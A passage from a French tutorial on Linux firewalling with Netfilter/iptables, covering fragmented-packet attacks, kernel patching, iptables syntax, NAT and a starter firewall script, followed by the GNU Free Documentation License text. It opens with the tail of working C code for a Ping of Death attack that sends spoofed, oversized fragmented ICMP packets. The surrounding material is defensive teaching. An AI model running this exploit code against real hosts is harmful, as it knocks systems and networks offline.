affect POSIX complient, and SYSV \n\t systems so its
nothing new..\n");
printf("\nGreets to Bill Gates! How do ya like this
one? :-)\n");
exit(1);
}
if (argc == 4) num = atoi(argv[3]);
for (i=1;i<=num;i++) {
on=1;
bzero(buf, sizeof buf);
if ((s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW )) < 0)
{
perror("socket");
exit(1);
}
if (setsockopt(s, IPPROTO_IP, IP_HDRINCL, &on,
sizeof(on)) < 0) {
perror("IP_HDRINCL");
exit(1);
}
if ((hp = gethostbyname(argv[1])) == NULL) {
if ((ip->ip_dst.s_addr = inet_addr(argv[1])) == -1) {
fprintf(stderr, "%s: unknown host\n", argv[1]);
exit(1);
}
} else {
bcopy(hp->h_addr_list[0], &ip->ip_dst.s_addr,
hp->h_length);
}
if ((hp2 = gethostbyname(argv[2])) == NULL) {
if ((ip->ip_src.s_addr = inet_addr(argv[2])) == -1) {
fprintf(stderr, "%s: unknown host\n", argv[2]);
exit(1);
}
} else {
bcopy(hp2->h_addr_list[0], &ip->ip_src.s_addr,
hp->h_length);
}
printf("Sending to %s\n",
inet_ntoa(ip->ip_dst));
ip->ip_v = 4;
ip->ip_hl = sizeof *ip >> 2;
ip->ip_tos = 0;
ip->ip_len = htons(sizeof buf);
ip->ip_id = htons(4321);
ip->ip_off = htons(0);
ip->ip_ttl = 255;
ip->ip_p = 1;
// ip->ip_csum = 0; /* kernel fills in */
dst.sin_addr = ip->ip_dst;
dst.sin_family = AF_INET;
icmp->type = ICMP_ECHO;
icmp->code = 0;
icmp->checksum = htons(~(ICMP_ECHO << 8));
for (offset = 0; offset < 65536; offset += (sizeof buf
- sizeof *ip)) {
ip->ip_off = htons(offset >> 3);
if (offset < 65120)
ip->ip_off |= htons(0x2000);
else
ip->ip_len = htons(418); /* make total 65538 */
if (sendto(s, buf, sizeof buf, 0, (struct sockaddr
*)&dst,
sizeof dst) < 0) {
fprintf(stderr, "offset %d: ", offset);
perror("sendto");
}
if (offset == 0) {
icmp->type = 0;
icmp->code = 0;
icmp->checksum = 0;
}
}
close(s);
usleep(30000);
}
return 0;
}
D'autres attaques utilisent des paquets qui ne sont pas invalides mais qui sont tout de même assez louches. Ce sont des paquets SYN fragmentés. Comme les paquets SYN ne doivent pas contenir de données, ils n'ont aucune raison d'être fragmentés car il sont censés être déjà petits. Il faut donc refuser et logger ce type de paquets.
Il faut donc retenir que les paquets fragmentés très petits sont suspects et qu'un premier fragment (sauf le dernier) ne doit jamais faire moins que la taille nécessaire pour placer une en-tête TCP complète (>=40 octets). Le reste va dépendre des capacités du firewall, heureusement, de plus en plus de firewalls génère le reassemblage des fragments. Ce qui peut aussi être la source de certains pb si le firewall le gère mal ... (cf ipchain).
Toutes (une grande partie au moins) de ces méthodes de DoS, DDoS, attaques et récolte d'informations peuvent être mises en echec grâce à un firewall. Après la présentation de Netfilter, nous verrons comment certains bugs dans les logiciels de firewall(FTP, IRC) de proxy(Host) ou de FTP(bounce) permettent aussi une exploration et une compromission de notre reseau ...
Tout ceci nous a déjà permis de savoir un peu quel genre de paquets (trafic) on souhaite laisser passer et quels paquets il est intéressant de logger si on veut détecter des attaques. Nous allons maintenant voir comment fonctionne Netfilter, le nouveau firewall intégré à la branche 2.4 du noyau Linux.
Netfilter est le nouveau firewall intégré au noyau 2.4.x de Linux. C'est le successeur d'Ipchains. Il permet de firewaller biensûr, mais aussi de faire du NAT (Network Address Translation, en remplacement d'IPMASQADM) et toutes sortes de modifications sur les paquets (mangling). Netfilter à été créé pour palier aux nombreuses carrences d'Ipchains qui n'était pas à l'aise avec les packets fragmentés et sourtout qui n'était pas statefull (il n'avait pas notion de l'état des connexions TCP). On va expliquer aussi ce dernier point dans les lignes avenir :). L'autre intéret de Netfilter est qu'il est très modulaire ce qui permet à de nombreux développeurs de créer des sortes de plug-ins qui permettre d'étendre de manière impressionnante ses capacités. Il existe telement de modules qu'on ne peut plus simplement parler de Netfilter comme d'un simple filtre à packets, c'est un système complet de routage, filtrage, proxy, repartition de charge (couplé aux autres fonctionnalités du noyau Linux) qui est de loin supérieur à une grande majorité de firewalls commerciaux dédiés (CheckPoint, Nokia, Nortel etc ... ). Malgrès sa quantité impressionnante de fonctionnalités, il a connu beaucoup moins de failles de sécurité que plusieurs de ses collèges. Ce n'est pas le seul produit efficace qu'on puisse trouver, il y a aussi l'excellent IpFilter (et Pf son clone un peu jeune sur OpenBSD 3.0) qui permet de faire du NAT et qui est lui aussi statefull. Il a moins de fonctionnalités que Netfilter mais il represente lui aussi une solution très complète lorsqu'il est utilisé en complément de Altq (solution de QoS et de Load Balancing pour *BSD).
On a présenté rapidement Netfilter (enfin c'était plus un éloge qu'une présentation); nous allons donc pouvoir commencer à tester ses différentes fonctionnalités. Les notions associées à celles-ci (NAT, Masquerading, state maching ... ) seront décrites au fur et à mesure du document ... On va commencer par installer iptables ( la partie userland de Netfilter) puis on va configurer Linux et son noyau pour pouvoir router les paquets et utiliser Netfilter, ensuite on abordera ses fonctions de base. Nous réaliserons ensuite une configuration complète de firewall qu'on pourrait trouver en production. La dernière partie nous familiarisera avec quelques uns des modules supplémentaires disponibles.
Il nous faut d'abord les sources du noyau
On les reccupère donc (sur ftp.lip6.fr par exemple;)
On décompresse tout ca dans /usr/src :
tar zxvf linux-2.4.x.tar.gzOn fait un peu le ménage :
cd linux make mrproper make menuconfig (pour cr\'eer le ficher .config)On telecharge Iptables :
ncftp ftp.netfilter.org cd /pub/iptables get iptables-1.2.6a.tar.bz2 quitOn le décompresse :
tar jxvf iptables-1.2.6a.tar.bz2 cd iptables-1.2.6aOn patch les sources du noyau Linux (on ajoute des fonctionnalités à Netfilter)
make pending-patches make most-of-pomCa lance un script qui nous pose quelques (enfin beaucoup en fait) de questions. Le script nous propose pour chaque patch si on veut ou non l'appliquer. Attention ! Certains patches ne sont pas compatibles en eux, lisez bien leur description.
Nous allons dire non à tout sauf :
- config-cleanup.patchCorrige des petits bugs de chargement.
- conntrack+nat-helper-unregister.patchCorrige des petit bugs dans nat
- macro-trailing-semicolon-fix.patchIdem pour certaines macros
- nat-export_symbols.patchRajoute des symboles
- netlink-tcpdiag.patchPermet d'utiliser Ulogd (un journal système en userland)
- nf_register_hook.patchAjoute une verification lors du chargement d'un module
- REJECT-dont_fragment.patchEnleve le flag ``don't fragment'' des packets ICMP Host Unreachable
- iplimit.patchPermet de limiter le nombre de connexions par IP
- ipv4options.patchPermet d'appliquer des regles en fonction des options ipv4
- ip_conntrack_protocol_destroy.patchPermet d'utiliser plusieurs types de passerelles applicatives
- IPV4OPTSSTRIP.patchRetire les options de l'entete IP
- lenght.patchPermet de limiter la taille de certains packets
- mport.patchPermet de spécifier plusieurs ports auquels on applique une regle
- NETLINK.patchPermet de reccuperer les paquets ``dropés'' dans des applications qui utilisent une socket Netlink. Pratique pour ecrire des IDS.
- nth.patchTrès pratique, permet d'appliquer une regle tous les N packets et de fixers des conteurs sur les règles. Cela peut permetre de faire un load balancer basique.
- pkttype.patchPermet de verifier la classe d'adresse (Broadcast, multicast ... )
- psd.patchPour detecter certains scanns (dérivé de Scanlogd du célèbre Solar Designer)
- quota.patchPour limiter un certain type de traffic à un volume maximal
- time.patchPermet d'appliquer des regles en fonction de l'heure !!
- TTL.patchPour modifier la valeur du ttl
- recent.patchPermet de garder dans une liste pendant un temps donné une adresse ip intercepté par une règle.
- string.patchExtrèmement partique ! Permet de rechercher une chaine dans un paquet entier ! Grace à ce patch on peut se faire plusieurs règle de détection d'intrusion ( par exemple on peut rechercher les URL qui font peter un IIS ... )
On compile et on installe :
make && make installCertains de ces patchs sont expérimentaux et risquent de faire planter votre bécanne. Biensur, en production, on utilisera jamais toutes ces fonctions en meme temps, ce serait un peu lourd à gérer... On ne prend toute fois aucun risque à les compiler comme modules car on est pas obligé de les charger. On pourra par exemple utiliser que deux ou trois nouvelles fonctions en plus des modules standards.
Ensuite on peut configurer le noyau avec toutes les options nécessaires au routage et à Netfilter.
On peut maintenant configurer les options :
cd /usr/src/linux make mrproper make menuconfig
La on arrive sur le beau menu de configuration du noyau :
Voici les différentes options qu'on va compiler (en plus de celles par defaut): Tout se passe dans le menu ``Networking options''
<*> Packet socket : permet aux applications d'acceder directement aux interfaces réseau. Necessaire pour utiliser des générateurs de paquets, des sniffers etc ...
[*] Packet socket: mmapped IO : permet d'accelerer les communication, il parait. Je ne sais pas comment cela fonctionne mais on va quand meme l'utiliser.
[*] Network packet filtering (replaces ipchains) : Ca veut dire qu'on veut Netfilter ...
[*] IP: advanced router : Permet d'utiliser les options de routage avancé de Linux. Très interessant mais pas necessaire si on veut faire du routage simple.
[*] IP: policy routing (NEW) : Permet d'utiliser l'adresse source en plus de la destination pour prendre une décision de routage. On peut aussi utiliser le champ TOS (Type Of Service) des paquets si on a coché : [*] IP: use TOS value as routing key (NEW) Si on coche : [*] IP: fast network address translation (NEW) On pourra modifier l'adresse source et l'adresse destination des paquets qu'on forwarde. Si enfin on coche : [*] IP: use netfilter MARK value as routing key (NEW) On pourra utiliser la cible MARK de Netfilter comme regle de décision. Nous n'allons pas utiliser toutes ces options dans ce document mais après avoir bien testé Netfilter, vous aurrez surement envie d'aller plus loin et de tester des configurations extrèmes ... Le fichier d'aide du noyau nous indique qu'il est intéressant d'activer l'option : [*] IP: verbose route monitoring (NEW) Elle permet de logger les packets routés qui ont l'air étrange ... Ca peut donc permettre de renforcer la sécurité de notre machine.
Une autre option interessante à cocher : [*] IP: TCP syncookie support (disabled per default) Elle permet d'éviter un DoS (Denial Of Service) très facile à faire : le SYN flood, le principe est simple, on remplit la queue avec des débuts de connexion provenant d'une ip qui ne repond pas vers un des ports ouvert de la machine. A partir de ce moment, n'importe quel client (normal) qui tente de se connecté échoue. Le port n'est plus accéssible du tout. Cette attaque qui se base encore une fois sur un spoof est difficilement tracable ... Si vous souhaitez savoir comment fonctionnent en interne les syn cookies allez voir : http://cr.yp.to/syncookies.html.
Une fois les options principales selectionnées, nous allons entrer dans le menu de configuration de Netfiler : IP: Netfilter Configuration --> Et on va selectionner tous les modules sauf les deux derniers qui ne serve qu'a la compatibilité avec Ipchains. Nous décrirons ces modules un peu plus loin, pour l'instant : la compilation ! tapez :
make dep bzimage modules modules_install
Allez prendre un café ou une tisane à l'eucalyptus.
cp arch/i386/boot/bzImage /boot/vmlinuz (le nom de votre ancien noyau)
lilo
Rebootez ... c'est pret ! Votre noyau vaut approximativement
6000 $ chez CheckPoint ou Nokia, voir 300 000 F chez Nortel :))
On va enfin pouvoir commencer à s'amuser avec nos paquets ...
La partie suivante n'est qu'une rapide introduction à Iptables, il faudrait un livre entier pour couvrir le sujet. Si vous souhaitez plus de détails, je vous conseil l'excellent tutorial de Oskar Andreasson (dont est inspiré cette section) :
http://www.boingworld.com/workshops/linux/iptables-tutorial/
Netfilter fait appel à plusieurs entités dans son fonctionnement : les tables, les chaines (chains), cibles (targets) et les les règles (rules).
Une règle est tout simplement une ligne que le noyau lit pour savoir ce qu'il doit faire d'un paquet. Si le paquet remplis toutes les conditions de cette règle, il est envoyé à la cible (on dit aussi le jump). La syntaxe générale pour créer une règle est la suivante :
iptables [-t table] commande nom\_chaine [match (condition)] [cible/jump]L'ordre n'a pas trop d'importance mais ici, il suit la logique de fonctionnement de netfilter. On voit que l'option table est facultative. Si on ne précise pas de table, la table filter est prise par defaut. Nous allons expliquer plus en détail ce qu'est une table. La commande doit etre placée en premier ou imédiatement après la table.
La chaine c'est une liste ou on stoque les règles. A chaque paquet qui est envoyé à une chaine, on va appliquer les règles qu'elle contient jusqu'a ce qu'une de ces règles corresponde au paquet qui la traverse. La condition (match) est l'expression qui va permettre de verifier si un paquet est conforme à la règle. Une condition pourrait etre que le paquet vienne d'une certaine interface réseau, ou d'une adresse IP précise. En fait, il y a une multitude de conditions à tester comme on a pu le voir en compilant iptables.
La cible est une décision qu'on va prendre sur la direction (dans netfilter) que va prendre le paquet. Ce peut etre une des décisions prédéfinies (accepter,refuser,ignorer,logger ...) ou une autre chaine dans laquelle le paquet qui va passer. Au final, un paquet doit toujours finir par tomber sur une décision prédéfinie. Dans le cas contraire, on lui applique la décision par défaut qu'on aura préalablement choisit parmis les décisions prédéfinies.
Il n'existe que trois tables (quatres si on applique le patch drop_table) qui ont chacune leur role. Si aucune table n'est précisée, la table par défaut est filter.
La table nat sert, comme sont nom l'indique, à effectuer des opérations de NAT (Network Adress Translation).
Pour résumer le NAT est un technique qui permet de router les paquets d'un réseau privé sur Internet et inversement en utilisant une seule IP routable sur Internet. Sans NAT, on serait obligés d'utiliser une IP internet pour chaque machine devant etre connectée à Internet. Le NAT est très utilisé car, non seulement les réseaux Ip routables sur Internet coutent très cher, mais en plus, Ipv4 ne permet pas de fournir assez d'addresses pour tout le monde. Un autre avantage du NAT est qu'il permet de faire passer tout le trafic par une seule machine. Cette machine est donc idéale pour filtrer celui-ci.
Il existe deux types de NAT: le NAT source et le NAT de destination. Le NAT de source permet de régler un premier type de problème. Si une machine d'un réseau privé souhaite envoyer des paquets à une machine sur Internet (un serveur web par exemple), sans NAT source, la machine du réseau peut envoyer son packet mais la machine distante ne pourra pas lui répondre car les paquets qui lui parviendront auront une adresse source non routable sur Internet (puisque qu'elle appartient à une plage de réseau privé). Le NAT de source remplace l'adresse source des paquets provenant d'un réseau local et à destination d'Internet par l'adresse de la passerelle (connectée à Internet et dont l'ip est routable sur Internet) tout en gardant une table de correspondance aui lui permet de redirriger les packets de réponse de la machine distante vers le réel emétteur (la machine du réseau privé). Ceci est en réalité un type évolué de NAT source, le MASQUERADING. La différence avec le NAT source standard pour lequel on doit spécifie la translation ip par ip, c'est qu'ici on effectue cette opération automatiquement pour chaque machine du réseau privé.
Le NAT de destination permet à une machine d'un réseau privé d'accepter sur certains ports des connexions d'autres machines situées sur Internet. Le principe est simple; on définit un port sur la passerelle qui, au lieu d'accepter les connexions, va les transmettre à un port d'une machine sur le réseau privé. Cela permet d'avoir plusieurs serveurs sur internet avec une seule IP routable sur Internet. Tout ceci est transparent pour la machine distante; elle enverra à chaque fois ses paquets sur la patte internet de la passerelle NAT qui elle, remplacera l'adresse de destination du paquet (son ip) par l'ip privé de la machine sur le réseau. On appele cette technique Port Forwarding car elle fonctionne en fonction du port de destination.
Revenons à la table NAT de Netfilter ... s'occupe donc de mettre en place ces méthodes. Si le premier packet d'une connexion remplie la condition d'une règle qui concerne cette table, tous les autres paquets de cette connexion seront automatiquement NATés sans passer par cette table. Pour cette raison, vous ne devez pas faire de regles de filtrage dans cette table.
Elle sert à modifier certains champs des enteres des paquets (TOS, TTL, etc.)
Elle permet de filtrer les paquets en les acceptant, en les rejetant, en les ignorant. Elle permet aussi de les journaliser. Trois chaines sont prédéfinies dans cette table. INPUT pour les paquets à destination de notre firewall OUTPUT pour les paquets générés par notre firewall FORWARD pour les paquets à destination des autres machines du réseau local ou originaires de celui-ci.
Voici le chemin emprunté par un paquet dans Netfilter :
Permet d'ajoutter une règle à une chaine. Les règles sont appliquées aux paquets dans l'ordre ou elle sont ajoutées. Ex : iptables -A INPUT -j DROP On ajoute la règle à la chaine INPUT (donc pour tous les paquet arrivant de l'extérieur sur le firewall) avec la cible DROP (ignorer le paquet). Comme on a pas spécifié de condition, cette règle sera vraie pour chaque paquet qui la rencontrera.
Supprimer une règle. On donne soit sont numero dans la chaine (commence à 1), soit on donne l'expression qui a permit de l'ajouter. Ex : iptables -D INPUT -s 192.168.0.1 -j DROP Ex : iptables -D INPUT 1
Remplace une regle d'une chaine par une autre. On spécifié le numéro de la chaine à remplacer. Ex : iptables -R INPUT 1 -dport 80 -j ACCEPT
Insere une regle dans une chaine à l'endroit spécifié. Ex : iptables -I FORWARD 2 -s 172.16.1.1 -j DROP
Permet de lister une chaine ou toutes. Ex : iptables -L OUTPUT
Permet de vider une chaine des ses regles. Ex : iptables -F INPUT
Pour créer ses propres chaines. Ex : iptables -N verif_flags
Supprime une chaine qu'on a crée. Elle ne doit plus comporter de regles. Ex : iptables -X verif_flags
Permet de regler le comportement par defaut des règles INPUT, OUTPUT et FORWARD.
Pour renommer une chaine.
Il y en a beaucoup. La majorité des modules supplémentaires qu'on a compilé on rajouté leur condition en plus des conditions dejà existantes. La majorité de ces conditions peuvent etre précedées du signe !p our spécifier l'opposé. Les plus courantes sont:
Pour spécifier le protocole. Ex : iptables -A INPUT -p tcp (que tcp) Ex : iptables -A INPUT -p ! icmp (tout sauf icmp)
Ip source
Ip de destination
Interface réseau sur laquelle arrive le paquet (a utiliser avec INPUT, FORWARD et PREROUTING)
Interface réseau par laquelle le paquet sort (a utiliser avec OUTPUT, FORWARD et POSTROUTING)
Pour les fragment (a partir du second). Peut utile quand on utilisera le connection tracking car il réassemble les packets.
Quand on utilise certaines conditions comme le protocole, il y a d'autres conditions dépendantes de la prémier qui peuvent etre vérifiées.
Port source. Ex : iptables -A INPUT -p tcp -sport 22 -j ACCEPT
Port destination.
Permet de vérifier les flag SYN, ACK, FIN, RST, URG, PSH et definit les raccourcits NONE et ALL. Ex : iptables -p tcp -tcp-flags SYN,ACK,FIN,RST SYN On regarde les flags SYN, ACK, FIN et RST et on veut uniquement le flag SYN à 1.
Port source.
Port destination.
Permet de vérifier le type de message icmp.
Ce sont des conditions définies dans les modules supplémentaires. On les charge souvent avec le paramètre -m suivit du nom de la condition.
Permet de verifier l'adresse MAC. Ex : iptables -A INPUT -mac-source 00:00:EF:6A:42:42 -j ACCEPT
Permet de spécifier un taux à la seconde, a la minute, a l'heure ou meme par jour. Ex : iptables -A INPUT -m limit 5/second -j ACCEPT
Permet de verifier un nombre initial de packets avant que la limit ne s'applique. Si il est dépassé et que la limite à etes dépassée, il sera rechargé des que la limite n'est plus dépassé. Parfait pour eviter les floods.
Permet de verifier l'état d'une connexion (si elle est nouvelle, déjà établie, non valide ou en relation avec une autre). Les différents états sont INVALID, ESTABLISHED, NEW et RELATED. Attention, NEW ne verifie pas le flag SYN ... Ex : iptables -A INPUT -m state -state RELATED, ESTABLISHED -j ACCEPT
Laisse passer le paquet vers sa destination.
Ignore un paquet (il est détruit et aucun message icmp d'erreur n'est généré)
Si cette cible est dans une sous chaine, le paquet sort de celle-ci et remonte dans la chaine suppérieure comme si il avait passé la chaine qui l'a envoyé dans la sous chaine. Cela permet d'optimiser les regles. Si cette cible est spécifié dans une chaine principale, la décision par défaut de la chaine est prise sur ce paquet.
Permet de journaliser les paquets qui atteignent cette cible. Pratique pour surveiller et pour tester les regles.
Detruit le paquet et envoie un message d'erreur ICMP Host Unreachable à la source.
Permet de remplacer l'adresse source par l'une (au hasard) des adresse routables spécifiées. Ex : iptables -t nat -A POSTROUTING -o eth0 -j SNAT -to-source 194.236.50.155-194.236.50.160:1024-32000
Meme principe que pour le SNAT mais on a pas à spécifier d'adresses. Ex : iptables -t nat -A POSTROUTING -p TCP -j MASQUERADE
Permet de faire du port forwarding et une forme de load balancing Ex : iptables -t nat -A PREROUTING -p tcp -d 15.45.23.67 -dport 80 -j DNAT -to-destination 192.168.1.1-192.168.1.10
Pour rediriger un port vers un autre en local Ex : iptables -t nat -A PREROUTING -p tcp -dport 80 -j REDIRECT -to-ports 8080
Il existe beaucoup d'autres cibles, nous les découvrirons un peu plus tard.
Nous allons maintenant construire le script shell qui va mettre en place un firewall en tenant compte des principales informations de la première partie.
Notre réseau local est en 192.168.0.0/24. 192.168.0.1 est une machine dont on veut faire un serveur web. 192.168.0.254 est notre routeur firewall. Il possède 2 interfaces :
Pour pouvoir utiliser iptables, il faut charger son module noyau :
modprobe ip_tablesPour utiliser les capacités statefull de netfilter il faut aussi le module adéquat:
modprobe ip_conntrackEnsuite on ``flush'' les tables pour supprimer les règles qui auraient pu etre entrées plus tot.
iptables -F iptables -t nat -F iptables -t mangle -FOn va donc commencer par dire à iptables qu'on jette tout par defaut. Pour cela on utilise l'option -P d'iptables pour changer la décision par défaut.
iptables -P INPUT DROP iptables -P OUTPUT DROP iptables -P FORWARD DROPA cet instant, on a dit à iptables d'ignorer tout ce qui vient sur le firewall (INPUT), tout ce qui en part (OUTPUT) et tout ce qui passe par lui (FORWARD - trafic entre le réseau interne et Internet). Maintenant on peut commencer à autoriser les paquets qu'on souhaite voir passer ...
Version 1.1, March 2000
Copyright copyright 2000 Free Software Foundation, Inc.
59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
Everyone is permitted to copy and distribute verbatim copies
of this license document, but changing it is not allowed.
The purpose of this License is to make a manual, textbook, or other written document ``free'' in the sense of freedom: to assure everyone the effective freedom to copy and redistribute it, with or without modifying it, either commercially or noncommercially. Secondarily, this License preserves for the author and publisher a way to get credit for their work, while not being considered responsible for modifications made by others.
This License is a kind of ``copyleft'', which means that derivative works of the document must themselves be free in the same sense. It complements the GNU General Public License, which is a copyleft license designed for free software.
We have designed this License in order to use it for manuals for free software, because free software needs free documentation: a free program should come with manuals providing the same freedoms that the software does. But this License is not limited to software manuals; it can be used for any textual work, regardless of subject matter or whether it is published as a printed book. We recommend this License principally for works whose purpose is instruction or reference.
This License applies to any manual or other work that contains a notice placed by the copyright holder saying it can be distributed under the terms of this License. The ``Document'', below, refers to any such manual or work. Any member of the public is a licensee, and is addressed as ``you''.
A ``Modified Version'' of the Document means any work containing the Document or a portion of it, either copied verbatim, or with modifications and/or translated into another language.
A ``Secondary Section'' is a named appendix or a front-matter section of the Document that deals exclusively with the relationship of the publishers or authors of the Document to the Document's overall subject (or to related matters) and contains nothing that could fall directly within that overall subject. (For example, if the Document is in part a textbook of mathematics, a Secondary Section may not explain any mathematics.) The relationship could be a matter of historical connection with the subject or with related matters, or of legal, commercial, philosophical, ethical or political position regarding them.
The ``Invariant Sections'' are certain Secondary Sections whose titles are designated, as being those of Invariant Sections, in the notice that says that the Document is released under this License.
The ``Cover Texts'' are certain short passages of text that are listed, as Front-Cover Texts or Back-Cover Texts, in the notice that says that the Document is released under this License.
A ``Transparent'' copy of the Document means a machine-readable copy, represented in a format whose specification is available to the general public, whose contents can be viewed and edited directly and straightforwardly with generic text editors or (for images composed of pixels) generic paint programs or (for drawings) some widely available drawing editor, and that is suitable for input to text formatters or for automatic translation to a variety of formats suitable for input to text formatters. A copy made in an otherwise Transparent file format whose markup has been designed to thwart or discourage subsequent modification by readers is not Transparent. A copy that is not ``Transparent'' is called ``Opaque''.
Examples of suitable formats for Transparent copies include plain ASCII without markup, Texinfo input format, LATEX input format, SGML or XML using a publicly available DTD, and standard-conforming simple HTML designed for human modification. Opaque formats include PostScript, PDF, proprietary formats that can be read and edited only by proprietary word processors, SGML or XML for which the DTD and/or processing tools are not generally available, and the machine-generated HTML produced by some word processors for output purposes only.
The ``Title Page'' means, for a printed book, the title page itself, plus such following pages as are needed to hold, legibly, the material this License requires to appear in the title page. For works in formats which do not have any title page as such, ``Title Page'' means the text near the most prominent appearance of the work's title, preceding the beginning of the body of the text.
You may copy and distribute the Document in any medium, either commercially or noncommercially, provided that this License, the copyright notices, and the license notice saying this License applies to the Document are reproduced in all copies, and that you add no other conditions whatsoever to those of this License. You may not use technical measures to obstruct or control the reading or further copying of the copies you make or distribute. However, you may accept compensation in exchange for copies. If you distribute a large enough number of copies you must also follow the conditions in section 3.
You may also lend copies, under the same conditions stated above, and you may publicly display copies.
If you publish printed copies of the Document numbering more than 100, and the Document's license notice requires Cover Texts, you must enclose the copies in covers that carry, clearly and legibly, all these Cover Texts: Front-Cover Texts on the front cover, and Back-Cover Texts on the back cover. Both covers must also clearly and legibly identify you as the publisher of these copies. The front cover must present the full title with all words of the title equally prominent and visible. You may add other material on the covers in addition. Copying with changes limited to the covers, as long as they preserve the title of the Document and satisfy these conditions, can be treated as verbatim copying in other respects.
If the required texts for either cover are too voluminous to fit legibly, you should put the first ones listed (as many as fit reasonably) on the actual cover, and continue the rest onto adjacent pages.
If you publish or distribute Opaque copies of the Document numbering more than 100, you must either include a machine-readable Transparent copy along with each Opaque copy, or state in or with each Opaque copy a publicly-accessible computer-network location containing a complete Transparent copy of the Document, free of added material, which the general network-using public has access to download anonymously at no charge using public-standard network protocols. If you use the latter option, you must take reasonably prudent steps, when you begin distribution of Opaque copies in quantity, to ensure that this Transparent copy will remain thus accessible at the stated location until at least one year after the last time you distribute an Opaque copy (directly or through your agents or retailers) of that edition to the public.
It is requested, but not required, that you contact the authors of the Document well before redistributing any large number of copies, to give them a chance to provide you with an updated version of the Document.
You may copy and distribute a Modified Version of the Document under the conditions of sections 2 and 3 above, provided that you release the Modified Version under precisely this License, with the Modified Version filling the role of the Document, thus licensing distribution and modification of the Modified Version to whoever possesses a copy of it. In addition, you must do these things in the Modified Version:
You may add a section entitled ``Endorsements'', provided it contains nothing but endorsements of your Modified Version by various parties - for example, statements of peer review or that the text has been approved by an organization as the authoritative definition of a standard.
You may add a passage of up to five words as a Front-Cover Text, and a passage of up to 25 words as a Back-Cover Text, to the end of the list of Cover Texts in the Modified Version. Only one passage of Front-Cover Text and one of Back-Cover Text may be added by (or through arrangements made by) any one entity. If the Document already includes a cover text for the same cover, previously added by you or by arrangement made by the same entity you are acting on behalf of, you may not add another; but you may replace the old one, on explicit permission from the previous publisher that added the old one.
The author(s) and publisher(s) of the Document do not by this License give permission to use their names for publicity for or to assert or imply endorsement of any Modified Version.
You may combine the Document with other documents released under this License, under the terms defined in section 4 above for modified versions, provided that you include in the combination all of the Invariant Sections of all of the original documents, unmodified, and list them all as Invariant Sections of your combined work in its license notice.
The combined work need only contain one copy of this License, and multiple identical Invariant Sections may be replaced with a single copy. If there are multiple Invariant Sections with the same name but different contents, make the title of each such section unique by adding at the end of it, in parentheses, the name of the original author or publisher of that section if known, or else a unique number. Make the same adjustment to the section titles in the list of Invariant Sections in the license notice of the combined work.
In the combination, you must combine any sections entitled ``History'' in the various original documents, forming one section entitled ``History''; likewise combine any sections entitled ``Acknowledgements'', and any sections entitled ``Dedications''. You must delete all sections entitled ``Endorsements.''
You may make a collection consisting of the Document and other documents released under this License, and replace the individual copies of this License in the various documents with a single copy that is included in the collection, provided that you follow the rules of this License for verbatim copying of each of the documents in all other respects.
You may extract a single document from such a collection, and distribute it individually under this License, provided you insert a copy of this License into the extracted document, and follow this License in all other respects regarding verbatim copying of that document.
A compilation of the Document or its derivatives with other separate and independent documents or works, in or on a volume of a storage or distribution medium, does not as a whole count as a Modified Version of the Document, provided no compilation copyright is claimed for the compilation. Such a compilation is called an ``aggregate'', and this License does not apply to the other self-contained works thus compiled with the Document, on account of their being thus compiled, if they are not themselves derivative works of the Document.
If the Cover Text requirement of section 3 is applicable to these copies of the Document, then if the Document is less than one quarter of the entire aggregate, the Document's Cover Texts may be placed on covers that surround only the Document within the aggregate. Otherwise they must appear on covers around the whole aggregate.
Translation is considered a kind of modification, so you may distribute translations of the Document under the terms of section 4. Replacing Invariant Sections with translations requires special permission from their copyright holders, but you may include translations of some or all Invariant Sections in addition to the original versions of these Invariant Sections. You may include a translation of this License provided that you also include the original English version of this License. In case of a disagreement between the translation and the original English version of this License, the original English version will prevail.
You may not copy, modify, sublicense, or distribute the Document except as expressly provided for under this License. Any other attempt to copy, modify, sublicense or distribute the Document is void, and will automatically terminate your rights under this License. However, parties who have received copies, or rights, from you under this License will not have their licenses terminated so long as such parties remain in full compliance.
The Free Software Foundation may publish new, revised versions of the GNU Free Documentation License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns. See http://www.gnu.org/copyleft/.
Each version of the License is given a distinguishing version number. If the Document specifies that a particular numbered version of this License "or any later version" applies to it, you have the option of following the terms and conditions either of that specified version or of any later version that has been published (not as a draft) by the Free Software Foundation. If the Document does not specify a version number of this License, you may choose any version ever published (not as a draft) by the Free Software Foundation.
To use this License in a document you have written, include a copy of the License in the document and put the following copyright and license notices just after the title page:
Copyright © YEAR YOUR NAME. Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation License, Version 1.1 or any later version published by the Free Software Foundation; with the Invariant Sections being LIST THEIR TITLES, with the Front-Cover Texts being LIST, and with the Back-Cover Texts being LIST. A copy of the license is included in the section entitled ``GNU Free Documentation License''.
If you have no Invariant Sections, write ``with no Invariant Sections'' instead of saying which ones are invariant. If you have no Front-Cover Texts, write ``no Front-Cover Texts'' instead of ``Front-Cover Texts being LIST''; likewise for Back-Cover Texts.
If your document contains nontrivial examples of program code, we recommend releasing these examples in parallel under your choice of free software license, such as the GNU General Public License, to permit their use in free software.